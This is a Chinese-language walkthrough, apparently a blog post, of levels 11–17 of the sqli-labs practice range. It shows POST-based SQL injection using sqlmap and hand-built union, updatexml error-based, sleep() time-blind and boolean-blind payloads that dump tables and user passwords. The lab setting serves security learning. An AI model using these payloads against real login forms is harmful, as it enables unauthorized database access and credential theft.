sqli-labs靶场11-17关(POST型)
目录
less11(单引号闭合post)
sqlmap注入
手动注入
less12(双引号单括号post)
less13(单引号单括号报错注入)
less14(双引号报错注入)
less15(单引号时间盲注)
less16(双引号单括号布尔盲注)
less17(子查询报错注入)
less11(单引号闭合post)
首先username处输入1正常回显,输入1'报错,1'#又正常回显——判断为单引号闭合
sqlmap注入
抓包后,保存数据包为a.txt:
sqlmap -r 'a.txt' -p uname --dbs --batch爆数据库(-p指明注入点)
sqlmap -r 'a.txt' -p uname -D 'security' --tables --batch爆表
sqlmap -r 'a.txt' -p uname -D 'security' -T 'users' --columns --batch爆字段名
sqlmap -r 'a.txt' -p uname -D 'security' -T 'users' --dump爆数据
手动注入
post传参的情况下,抓包后注入比较方便
uname=lll' order by 2#——判断有两处回显
uname=lll' union select 1,2#——找到回显位置:
uname=lll' union select database(),2#——爆数据库
uname=lll' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#——爆表
uname=lll' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='security'#——爆字段名
uname=lll' union select group_concat(password),2 from security.users#——爆数据
less12(双引号单括号post)
用户名输入test没报错,test'也没报错,test"报错——判断为双引号闭合
test"#还是报错——说明没有完全闭合
test")#不报错——判断为双引号单括号闭合
uname=test") order by 2#——判断有两处回显
uname=test") union select 1,2#——找到回显位置:
uname=test") union select 1,database()#——得数据库名
uname=test") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#——爆表
uname=test") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#——爆字段名
uname=test") union select 1,group_concat(password) from security.users#——爆数据
less13(单引号单括号报错注入)
用户名输入test没报错,test'报错——判断为单引号闭合
test'#还是报错,说明没有完全闭合
test')#没有报错——判断为单引号单括号闭合
uname=test') order by 2#——判断有两处回显
uname=test') select 1,2#却发现没有回显位置
观察发现,这里只会返回successful login in或者fial或者显示报错信息
利用报错,使用报错注入!
uname=test') and updatexml(1,concat(0x7e,(database()),0x7e),1)#——爆数据库名
uname=test') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#——爆表名
uname=test') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#——爆字段名
uname=test') and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#——爆数据
less14(双引号报错注入)
用户名输入test不报错,test'也不报错,test"报错——判断为双引号闭合
test"#不报错——确定为双引号闭合
uname=test" order by 2#——判断有两处回显
和13关一样,只有success和fail和报错信息,所以使用报错注入!
uname=test" and updatexml(1,concat(0x7e,(database()),0x7e),1)#——爆数据库
uname=test" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#——爆表名
uname=test" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#
——爆字段名
uname=test" and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#——爆数据
less15(单引号时间盲注)
这里只会回显seccess和fail,因此可以使用时间盲注或布尔盲注!这里演示时间盲注:
由于只显示成功或失败,所以uname要能与数据库匹配上才能往下判断。(其实也可以不用,只需要将and改为or就行了,随便一个账户都行!)
假设我们已经注册了一个账号,使用该账号进行注入,获取数据库信息。(有一个账号admin)
用户输入uname=admin and sleep(5)#没有延迟
uname=admin' and sleep(5)#出现明显延迟——判断为单引号闭合
uname=admin' and if(length(database())=8,sleep(5),1)#出现明显延迟——数据库名长度为8
uname=admin' and if((substr((select database()),1,1)='s'),sleep(5),1)#对标红的两处进行爆破:
得到数据库为security:
uname=admin' and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s'),sleep(5),1)#爆表
(0表示第一张表,1表示第一个字符,s为第一个字符)
得到第一章表为emails,将0换为1继续爆第二张表……
uname=admin' and if((substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='s'),sleep(5),1)#爆字段
uname=admin' and if((substr((select password from security.users limit 0,1),1,1)='s'),sleep(5),1)#爆数据
less16(双引号单括号布尔盲注)
这里只会回显seccess和fail,因此可以使用时间盲注或布尔盲注!这里演示布尔盲注:
用户名输入admin#显示fail
admin")#显示success——判断为双引号单括号闭合
uname=admin") and (select length(database())=8)#——判断数据库名长度为8
uname=admin") and substr((select database()),1,1)='a'#——爆数据库
uname=admin") and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'#——爆表
uname=admin") and substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='a'#——爆字段名
uname=admin") and substr((select password from security.users limit 0,1),1,1)='a'#——爆数据
less17(子查询报错注入)
这一关,在对unmae参数尝试注入的时候,发现有被过滤的情况,所以我们尝试对另一个参数password进行注入:
password传参:
123返回success,123'返回fail,123'#返回success——判断为单引号闭合
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(database()),0x7e),1)#——爆数据库
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#——爆表
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#——爆字段名
这里如果对users表进行注入,会报错,因为mysql不支持同时更新和查询同一张表,如果对其他表进行注入就没有问题。这里对users表进行注入的话,就要使用子查询(中间表):
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from security.users)b),0x7e),1)#——爆数据
(其中,b是给子查询,中间表起的表名)